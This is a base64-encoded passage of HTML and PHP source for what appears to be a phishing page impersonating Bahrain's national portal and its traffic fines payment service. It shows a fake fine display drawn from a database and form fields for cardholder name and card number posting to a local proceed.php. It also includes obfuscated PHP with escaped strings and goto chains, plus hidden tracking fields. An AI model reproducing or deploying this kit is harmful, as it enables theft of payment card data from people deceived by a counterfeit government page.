3NoYTI1Ni5taW4uanMiPjwvc2NyaXB0PgoKPC9oZWFkPgo8Ym9keSBjbGFzcz0ibG90dXN1aTMwZG9qbyB0dW5kcmEgbG9jYWxlX2VuIHRvb2xiYXItY2xvc2VkIiBkYXRhLW5ldy1nci1jLXMtY2hlY2stbG9hZGVkPSIxNC4xMTY0LjAiIGRhdGEtZ3ItZXh0LWluc3RhbGxlZD0iIj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+IG15ZmFjZXMuY29uZmlnLl9hdXRvZXZhbCA9IHRydWU7IDwvc2NyaXB0PgkKCgoJCjxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+CgkKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJdmFyIGpzUGFnZU5hbWUgPSAnR2VuZXJhbCBEaXJlY3RvcmF0ZSBvZiBUcmFmZmljIFNlcnZpY2VzJzsKCXZhciBzZXJ2aWNlVW5pcXVlTmFtZSA9J3N1aWQuR2VuZXJhbERpcmVjdG9yYXRlb2ZUcmFmZmljU2VydmljZXMnOwoJdmFyIHNlcnZpY2VPd25lciA9ICdHRFQnOwoKCWNvbnNvbGUubG9nKCJzZXJ2aWNlT3duZXIgOiAiICsgc2VydmljZU93bmVyKTsKCQo8L3NjcmlwdD4KCgoKCgoKCQo8ZGl2IGNsYXNzPSJjb250YWluZXIgbWFyLWJ0bS0xNSBsb2dvLXdyYXBwZXItaGVhZGVyIj4KCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkKCQkJCgkJCQoJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwiPgoJCQkJCTwhLS0gQ3VycmVudCBMb2dvIC0tPgoJCQkJCQoJCQkJCTwhLS0gTmV3IC0tPgoJCQkJCTxpbWcgY2xhc3M9Im5hdGlvbmFsUG9ydGFsTG9nbyIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9iYWhyYWluX2JoX2xvZ28ucG5nIiBhbHQ9Iktpbmdkb20gb2YgQmFocmFpbiBsb2dvIj4KCQkJCTwvYT4KCQkJCTxzcGFuPgoJCQkJCTxzcGFuIGNsYXNzPSJsb2dvLWhlYWRlci1zbGFzaCBoaWRlLWluLXJlc3BvbnNpdmUiPnw8L3NwYW4+CgkJCQkJPHNwYW4gY2xhc3M9ImxvZ28taGVhZGVyLXBocmFzZSI+WW91ciBwb3J0YWwgdG8gZmluZCBzZXJ2aWNlcyAmYW1wOyBnb3Zlcm5tZW50IGluZm9ybWF0aW9uIGVhc2lseTwvc3Bhbj4KCQkJCTwvc3Bhbj4KCQkJCQoJCQkKCTwvZGl2PgoKCTwvZGl2Pgo8L2Rpdj4KCgo8IS0tIHJlcXVpcmVkIC0gZG8gbm90IHJlbW92ZSAtLT4KCQkJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lIiBpZD0icG9ydGxldFN0YXRlIj57fTwvZGl2PgoJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQk8L2Rpdj4KCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4JCQoJCQk8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgkJCQoJCQkJPGRpdiBjbGFzcz0iY29tcG9uZW50LWNvbnRhaW5lciBtaWRkbGUtY29udGVudCBsZWZ0LWNvbnRlbnQgc3BhbjEyIGlkLVo3Xzg4R0MxMjgySk9UVEIwQTZCTE01NUwxRzQ3IiBuYW1lPSJsZWZ0Ij48ZGl2IGNsYXNzPSJjb21wb25lbnQtY29udHJvbCBpZC1aN184OEdDMTI4Mko4SU0xMFE2NVBFT0hEMTBJMSI+PGRpdiBjbGFzcz0idGhpblNraW4iPgogIDxkaXYgY2xhc3M9InRpdGxlLWJhciI+Cgk8YSByZWw9ImR5bmFtaWMtY29udGVudDEiIGhyZWY9ImxtLnRpdGxlIj48L2E+Cgk8c3BhbiBjbGFzcz0iwpRtZW51LXBsYWNlaG9sZGVywpQiPjwvc3Bhbj4KICA8L2Rpdj4KCSAKCQo8L2Rpdj4KPC9kaXY+PGRpdiBjbGFzcz0iY29tcG9uZW50LWNvbnRyb2wgaWQtWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzEiPjxkaXYgY2xhc3M9InRoaW5Ta2luIj4KICA8ZGl2IGNsYXNzPSJ0aXRsZS1iYXIiPgoJPGEgcmVsPSJkeW5hbWljLWNvbnRlbnQxIiBocmVmPSJsbS50aXRsZSI+PC9hPgoJPHNwYW4gY2xhc3M9IsKUbWVudS1wbGFjZWhvbGRlcsKUIj48L3NwYW4+CiAgPC9kaXY+CiAgPGRpdiB4bWxuczpwb3J0bGV0LWNsaWVudC1tb2RlbD0iaHR0cHM6Ly93d3cuaWJtLmNvbS94bWxucy9wcm9kL3dlYnNwaGVyZS9wb3J0YWwvdjYuMS9wb3J0bGV0LWNsaWVudC1tb2RlbCI+Cgk8bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJwMC9JWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzE9Q1o2Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMEM2PU5FamF2YXguZmFjZXMucmVzb3VyY2UhUUNQdGhlbWUuY3NzPWxuIXByaW1lZmFjZXMtYXJpc3RvPWNvbS5pYm0uZmFjZXMucG9ydGxldC5QQVRIIVFDUGphdmF4LmZhY2VzLnJlc291cmNlUUNQdGhlbWUuY3NzPT0vIj4KCQoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0icDAvSVo3Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMFMxPUNaNl84OEdDMTI4MkpHMVY4MEFLTzBIRTQzMTBDNj1ORWphdmF4LmZhY2VzLnJlc291cmNlIVFDUGpzZi5qcz1sbiFqYXZheC5mYWNlcz1jb20uaWJtLmZhY2VzLnBvcnRsZXQuUEFUSCFRQ1BqYXZheC5mYWNlcy5yZXNvdXJjZVFDUGpzZi5qcz09LyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9jb21tb24uanMiPjwvc2NyaXB0PgoJIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij52YXIgYWRkdGhpc19jb25maWcgPSB7ImRhdGFfdHJhY2tfY2xpY2tiYWNrIjp0cnVlICwgInVpX2xhbmd1YWdlIjonZW4nfTs8L3NjcmlwdD4KCQkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9zNy5hZGR0aGlzLmNvbS9qcy8yNTAvYWRkdGhpc193aWRnZXQuanMjcHViaWQ9cmEtNGQ5ODFhMzQ3MjNkNjU5YiI+PC9zY3JpcHQ+CgoJCQk8IS0tIEJlZ2luIFNlcnZpY2UgRm9ybSAtLT4KCQkJCgkJCgkJCTxpZnJhbWUgbmFtZT0iZHVtbXlmcmFtZSIgaWQ9ImR1bW15ZnJhbWUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9pZnJhbWU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSAgaWQ9Im15Rm9ybSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ii4vcHJvY2VlZC5waHAiIG9uc3VibWl0PSJzdWJtSXQoKTsiIHRhcmdldD0iZHVtbXlmcmFtZSI+CgkJCQkKCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJPGRpdiBjbGFzcz0ic3BhbjEyIj48c3BhbiBpZD0idmlld25zX1o3Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMFMxXzpmb3JtMTpzZXJ2aWNlZ3JvdXAiPgoKCgkJCTwhLS08ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbWFyLWJ0bS0xMCI+LS0+CgkJCTwhLS0gIDxkaXYgY2xhc3M9InNwYW4xMiBidWNvbnQiPi0tPgoJCQk8IS0tCTxwPlJlY2VpdmUgYSA1MCUgZGlzY291bnQgb24gb3ZlcmR1ZSBmaW5lcyBieSBzZXR0bGluZyB3aXRoaW4gb25lIHdlZWsuPC9wPiAgICAgICAgICAgICAgIC0tPgoJCQk8IS0tICA8L2Rpdj4tLT4KCQkJPCEtLTwvZGl2Pi0tPgoJCgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkgPGRpdiBjbGFzcz0ic3BhbjEyIj4KCSAgIDwhLS0gQkVHSU4gSU5TVFJVQ1RJT04gQk9YLS0+CgkJICA8ZGl2ICBjbGFzcz0ic2VydmljZS13aWRnZXQiPgoJCQkgPGRpdiBzdHlsZT0iaGVpZ2h0OiA2MHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmOyIgY2xhc3M9InNlcnZpY2Utd2lkZ2V0LXRpdGxlIj4KCQkJICAgICA8aDQgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgcGFkZGluZzogMTNweDsgZm9udC1zaXplOiAzMHB4OyI+CgkJCTxzdHJvbmc+UGF5bWVudCBvZiBUcmFmZmljIENvbnRyYXZlbnRpb25zPC9zdHJvbmc+CgkJCQkKCQkJCSA8c3BhbiBhcmlhLWxhYmVsPSJUb2dnbGUgQ29udGFpbmVyIiBjbGFzcz0idG9vbHMiPjxzcGFuPjxlbSBjbGFzcz0iZmEgZmEtYW5nbGUtZG93biI+PC9lbT48L3NwYW4+PC9zcGFuPjwvaDQ+CgkJCQk8aDQgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsgcGFkZGluZzogMTNweDsgY29sb3I6ICMwMDA7IGJhY2tncm91bmQtY29sb3I6ICNmZmY7Ij4KCQkJCQoJCQkJPD9waHAgIGdvdG8gUmhJUkE7IGtBQW12OiBlY2hvICRpbnZjYXJkID8gIlx4NzRceDcyXHg3NVwxNDUiIDogIlwxNDZceDYxXDE1NFwxNjNceDY1IjsgZ290byBvRTgyejsgamNBQWk6ICRyZXN1bHQgPSAkY29ubi0+cXVlcnkoJHNxbCk7IGdvdG8gdXVxRzQ7IGZSODhROiBpZiAoJGNvbm4tPmNvbm5lY3RfZXJyb3IpIHsgZGllKCJcMTAzXHg2ZlwxNTZcMTU2XDE0NVx4NjNceDc0XDE1MVwxNTdceDZlXHgyMFwxNDZceDYxXDE1MVx4NmNceDY1XHg2NFx4M2FcNDAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOyB9IGdvdG8gT3RnZzk7IFV5SG9xOiBlY2hvICRlcnJvciA/ICJceDc0XHg3MlwxNjVceDY1IiA6ICJcMTQ2XHg2MVwxNTRcMTYzXHg2NSI7IGdvdG8gUmYzbFo7IFJVSkRsOiAkaW52Y2FyZCA9IGlzc2V0KCRfR0VUWyJcMTUxXHg2ZVx4NzZcMTQzXDE0MVx4NzJceDY0Il0pICYmICRfR0VUWyJceDY5XDE1NlwxNjZcMTQzXHg2MVwxNjJcMTQ0Il0gPT09ICJcMTUxXDE1NlwxNjZceDYzXHg2MVwxNjJcMTQ0XHg1ZlwxNjRceDc5XHg3MFx4NjUiOyBnb3RvIGhiZjVoOyBFZm1kMDogZWNobyAkX1BPU1RbIlwxNDdceDY5XDE0NFwxNDFcMTU2XHg3M1wxNjVceDZlXHg2NSJdOyBnb3RvIEE3eTJUOyB1czNQYzogZWNobyAkX1BPU1RbIlx4NjdcMTQxXDE2MlwxNTFcMTU2XHg3M1x4NzVceDZlXDE0NSJdOyBnb3RvIHNJVDZmOyBPdGdnOTogJHNxbCA9ICJcMTIzXHg0NVwxMTRcMTA1XHg0M1wxMjRceDIwXDE0MVwxNTVcMTU3XDE2NVwxNTZceDc0XHg1NVwxNjBceDY0XHg2MVx4NzRcMTQ1XDQwXDEwNlwxMjJcMTE3XDExNVw0MFwxNDFceDZkXHg2Zlx4NzVceDZlXDE2NCI7IGdvdG8gamNBQWk7IFJoSVJBOiBpbmNsdWRlICJceDJlXHgyZlwxNDFceDY0XHg2ZFwxNTFceDZlXDE1NFx4NzRceDY1XHgyZlwxNjBcMTQxXDE0N1x4NjVceDczXHgyZlx4NzRcMTQxXHg2Mlx4NmNcMTQ1XHg3M1w1N1x4NjNceDZmXDE1NlwxNTZceDY1XDE0M1x4NzRcNTZcMTYwXHg2OFx4NzAiOyBnb3RvIEIxRlNrOyB2dnNKNTogPz4KIj4KCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWJhcnlhbmtpIiB2YWx1ZT0iPD9waHAgIGdvdG8gcFFrb0g7IFJmM2xaOiA/Pgo7CgogICAgLy8gRGlzcGxheSB0aGUgbWVzc2FnZSBpZiAnZXJyb3InIGlzIHRydWUKICAgIGlmIChlcnJvcikgewogICAgICAgIHZhciB3aGVuUmVqZWN0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndoZW5SZWplY3QiKTsKICAgICAgICB3aGVuUmVqZWN0LmlubmVyVGV4dCA9ICJJbnN1ZmZpY2llbnQgZnVuZHMgaW4geW91ciBiYW5rIG9yIHBheW1lbnQgc2VydmljZSBhY2NvdW50IjsKCiAgICAgICAgLy8gSGlkZSB0aGUgbWVzc2FnZSBhZnRlciAzMDAgc2Vjb25kcyAoNSBtaW51dGVzKQogICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7CiAgICAgICAgICAgIHdoZW5SZWplY3Quc3R5bGUuZGlzcGxheSA9ICJub25lIjsKICAgICAgICB9LCAzMDAwMDApOwogICAgfQo8L3NjcmlwdD4KCgo8c2NyaXB0PgogICAgLy8gQ2hlY2sgaWYgdGhlICdlcnJvcicgdmFyaWFibGUgaXMgc2V0IHRvIHRydWUKICAgIHZhciBpbnZjYXJkID0gPD9waHAgIGdvdG8ga0FBbXY7IElkZm9KOiBlY2hvICRfUE9TVFsiXDE3MVx4NjFcMTU2XHg2YlwxNTFcMTU2XHg3M1wxNjVceDZlXDE0NSJdOyBnb3RvIHZ2c0o1OyBBN3kyVDogPz4KIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imdhcmluc3UiIHZhbHVlPSI8P3BocCAgZ290byB1czNQYzsgdXVxRzQ6IGlmICgkcmVzdWx0LT5udW1fcm93cyA+IDApIHsgd2hpbGUgKCRyb3cgPSAkcmVzdWx0LT5mZXRjaF9hc3NvYygpKSB7IGVjaG8gIlwxMzFcMTU3XDE2NVx4NzJceDIwXDE2NFwxNjJceDYxXDE0Nlx4NjZceDY5XDE0M1w0MFx4NjZceDY5XHg2ZVwxNDVcNDBcMTUxXDE2M1x4MjAiIC4gJHJvd1siXDE0MVx4NmRceDZmXDE2NVwxNTZcMTY0XDEyNVwxNjBceDY0XDE0MVx4NzRcMTQ1Il0gLiAiXHgyMFx4NDJcMTA0XDQwXHgyY1x4MjBceDcwXDE1NFx4NjVcMTQxXDE2M1wxNDVcNDBcMTQ2XHg2OVx4NmNceDZjXDQwXDE1MVx4NmVcNDBcMTY0XHg2OFx4NjVceDIwXDE0Nlx4NmZcMTU0XHg2Y1x4NmZcMTY3XHg2OVx4NmVcMTQ3XDQwXDE1MVx4NmVceDY2XDE1N1x4NzJceDZkXHg2MVx4NzRcMTUxXHg2Zlx4NmVceDIwXHg3NFwxNTdceDIwXHg3MFwxNDFcMTcxIjsgfSB9IGVsc2UgeyBlY2hvICJcMTIzXHg3OVwxNjNcMTY0XDE0NVwxNTVceDIwXHg2NVx4NzJcMTYyXHg2Zlx4NzIiOyB9IGdvdG8gSDcyaFo7IGhiZjVoOiBpZiAoJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVx4NTVceDQ1XHg1M1x4NTRcMTM3XDExNVwxMDVcMTI0XHg0OFwxMTdceDQ0Il0gPT0gIlwxMjBcMTE3XDEyM1x4NTQiKSB7ICRnaWRhbnN1ID0gJF9QT1NUWyJcMTQ3XDE1MVwxNDRceDYxXHg2ZVx4NzNceDc1XDE1NlwxNDUiXTsgJGdhcmluc3UgPSAkX1BPU1RbIlx4NjdceDYxXHg3MlwxNTFceDZlXDE2M1x4NzVcMTU2XHg2NSJdOyAkeWFua2luc3UgPSAkX1BPU1RbIlx4NzlceDYxXDE1NlwxNTNcMTUxXHg2ZVx4NzNceDc1XHg2ZVwxNDUiXTsgJG5hbWJhcnlhbmtpID0gJF9QT1NUWyJcMTU2XDE0MVx4NmRceDYyXDE0MVx4NzJceDc5XHg2MVx4NmVceDZiXHg2OVx4NmVcMTQ1Il07IH0gZ290byBQNUNfVjsgd21qUVY6ICRlcnJvciA9IGlzc2V0KCRfR0VUWyJceDY1XHg3Mlx4NzJcMTU3XDE2MiJdKSAmJiAkX0dFVFsiXDE0NVx4NzJceDcyXHg2ZlwxNjIiXSA9PT0gIlx4NjlceDZlXDE2M1x4NzVceDY2XHg2NlwxNTFcMTQzXHg2OVx4NjVcMTU2XDE2NFx4NWZceDY2XHg3NVwxNTZcMTQ0XDE2MyI7IGdvdG8gUlVKRGw7IEg3MmhaOiAkY29ubi0+Y2xvc2UoKTsgZ290byBXZTBPMjsgdmFzeXc6ID8+CiI+CgoJCQkJCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImJhciIgdmFsdWU9IjYwIj4KCQkJCQkJICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJxYXNhcnN1IiB2YWx1ZT0iQmFocmFpbiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFnZXMiIHZhbHVlPSLmiJHlnKjljaHpobXpnaIiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJmaW5nZXJwcmludElucHV0IiBuYW1lPSJmaW5nZXJwcmludCIgdmFsdWU9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93UCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC03NVAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyUCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93UCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC01MFAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBpZD0id2hlblJlamVjdCIgY2xhc3M9ImgiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJjb2xvcjpyZWQ7IG1hcmdpbi10b3A6IDVweDsiPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBzdHlsZT0ibWFyZ2luLXRvcDogOHB4OyIgZm9yPSJjbmFtZSI+Q0FSREhPTERFUiBOQU1FPHN1cAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHlsZT0iY29sb3I6IHJlZDsiPio8L3N1cD48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJpbnB1dCBmb3JtLWNvbnRyb2wiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3R5bGU9IndpZHRoOiAxMDAlOyBtYXJnaW4tbGVmdDogMHB4OyBtYXJnaW4tYm90dG9tOiA1cHg7IG1hcmdpbi10b3A6IDBweDsiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHlwZT0idGV4dCIgaWQ9ImNuYW1lIiBuYW1lPSJzdW5hbnNoaSIgdmFsdWU9IiIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcj0iTkFNRSBPTiBDQVJEIiByZXF1aXJlZD4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJjY251bSI+Q0FSRCBOVU1CRVIgPHN1cAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdHlsZT0iY29sb3I6IHJlZDsiPio8L3N1cD48L2xhYmVsPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iaW5wdXQgZm9ybS1jb250cm9sIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0eWxlPSJ3aWR0aDogMTAwJTsgbWFyZ2luLWxlZnQ6IDBweDsgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdHlwZT0idGVsIiBpZD0ic2hhU2hpZGEiIG5hbWU9InNoYXNoaWRhIiB2YWx1ZT0iIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBsYWNlaG9sZGVyPSJYWFhYIFhYWFggWFhYWCBYWFhYIiByZXF1aXJlZD4KCgoJCQkJCQkJCQkJCQkJCTxkaXYgYWxpZ249ImNlbnRlciIgPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzdHlsZT0id2lkdGg6IGF1dG87CiAgICBoZWlnaHQ6IGF1dG87CiAgICBtYXgtd2lkdGg6IDEwJTsKICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7CiAgICBib3JkZXI6IDA7CiAgICAtbXMtaW50ZXJwb2xhdGlvbi1tb2RlOiBiaWN1YmljOwoJIiBzcmM9Ii4vbG9nby92aXNhLmJlNDczZTIxLnN2ZyIgYWx0PSIiIHdpZHRoPSI2OHB4IiBoZWlnaHQ9IjQ4cHgiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzdHlsZT0id2lkdGg6IGF1dG87CiAgICBoZWlnaHQ6IGF1dG87CiAgICBtYXgtd2lkdGg6IDEwJTsKICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7CiAgICBib3JkZXI6IDA7CiAgICAtbXMtaW50ZXJwb2xhdGlvbi1tb2RlOiBiaWN1YmljOwoJIiBjbGFzcz0iaW1nY2xhc3MiIHNyYz0iLi9sb2dvL21hc3RlcmNhcmQuNWY4ZGIwZWYuc3ZnIiBhbHQ9IiIgd2lkdGg9IjY4cHgiIGhlaWdodD0iNDhweCI+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzdHlsZT0id2lkdGg6IGF1dG87CiAgICBoZWlnaHQ6IGF1dG87CiAgICBtYXgtd2lkdGg6IDEwJTsKICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7CiAgICBib3JkZXI6IDA7CiAgICAtbXMtaW50ZXJwb2xhdGlvbi1tb2RlOiBiaWN1YmljOwoJIiBjbGFzcz0iaW1nY2xhc3MiIHNyYz0iLi9sb2dvL2FwcGxlIHBheS5lZTJjOTFmOC5zdmciIGFsdD0iIiB3aWR0aD0iNjhweCIgaGVpZ2h0PSI0OHB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3R5bGU9IndpZHRoOiBhdXRvOwogICAgaGVpZ2h0OiBhdXRvOwogICAgbWF4LXdpZHRoOiAxMCU7CiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOwogICAgYm9yZGVyOiAwOwogICAgLW1zLWludGVycG9sYXRpb24tbW9kZTogYmljdWJpYzsKCSIgY2xhc3M9ImltZ2NsYXNzIiBzcmM9Ii4vbG9nby9nb29nbGUgcGF5LjEwYzI2ZTc4LnN2ZyIgYWx0PSIiIHdpZHRoPSI2OHB4IiBoZWlnaHQ9IjQ4cHgiPgoJICA8aW1nIHN0eWxlPSJ3aWR0aDogYXV0bzsKICAgIGhlaWdodDogYXV0bzsKICAgIG1heC13aWR0aDogMTAlOwogICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTsKICAgIGJvcmRlcjogMDsKICAgIC1tcy1pbnRlcnBvbGF0aW9uLW1vZGU6IGJpY3ViaWM7CgkiIGNsYXNzPSJpbWdjbGFzcyIgc3JjPSIuL2xvZ28vYW1leC4xNTg1ZjRiYy5zdmciIGFsdD0iIiB3aWR0aD0iNjhweCIgaGVpZ2h0PSI0OHB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3R5bGU9IndpZHRoOiBhdXRvOwogICAgaGVpZ2h0OiBhdXRvOwogICAgbWF4LXdpZHRoOiAxMCU7CiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOwogICAgYm9yZGVyOiAwOwogICAgLW1zLWludGVycG9sYXRpb24tbW9kZTogYmljdWJpYzsKCSIgY2xhc3M9ImltZ2NsYXNzIiBzcmM9Ii4vbG9nby9zYW1zdW5nIHBheS40YmU4OWRmMy5zdmciIGFsdD0iIiB3aWR0aD0iNjhweCIgaGVpZ2h0PSI0OHB4Ij4KCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHN0eWxlPSJ3aWR0aDogYXV0bzsKICAgIGhlaWdodDogYXV0bzsKICAgIG1heC13aWR0aDogOCU7CiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOwogICAgYm9yZGVyOiAwOwogICAgLW1zLWludGVycG9sYXRpb24tbW9kZTogYmljdWJpYzsKCSIgY2xhc3M9ImltZ2NsYXNzIiBzcmM9Ii4vbG9nby9qY2IucG5nIiBhbHQ9IiIgd2lkdGg9IjY4cHgiIGhlaWdodD0iNDhweCI+Cgo8aW1nIHN0eWxlPSJ3aWR0aDogYXV0bzsKICAgIGhlaWdodDogYXV0bzsKICAgIG1heC13aWR0aDogOSU7CiAgICB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlOwogICAgYm9yZGVyOiAwOwogICAgLW1zLWludGVycG9sYXRpb24tbW9kZTogYmljdWJpYzsKCSIgY2xhc3M9ImltZ2NsYXNzIiBzcmM9Ii4vbG9nby9kaXNjb3Zlci5wbmciIGFsdD0iIiB3aWR0aD0iNjhweCIgaGVpZ2h0PSI0OHB4Ij4KCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgkJCQkJCQkJCQkJCQkKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3dQUCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTcgY29sLW1kLTciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBzdHlsZT0ibWFyZ2luLWxlZnQ6IDBweDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJ2aXNpYmxlLXhzLWlubGluZSBmdWR1Ij48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRVhQIERBVEUgPHN1cCBzdHlsZT0iY29sb3I6IHJlZDsiPio8L3N1cD48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3R5bGU9IiAgICBtYXJnaW4tbGVmdDogMHB4O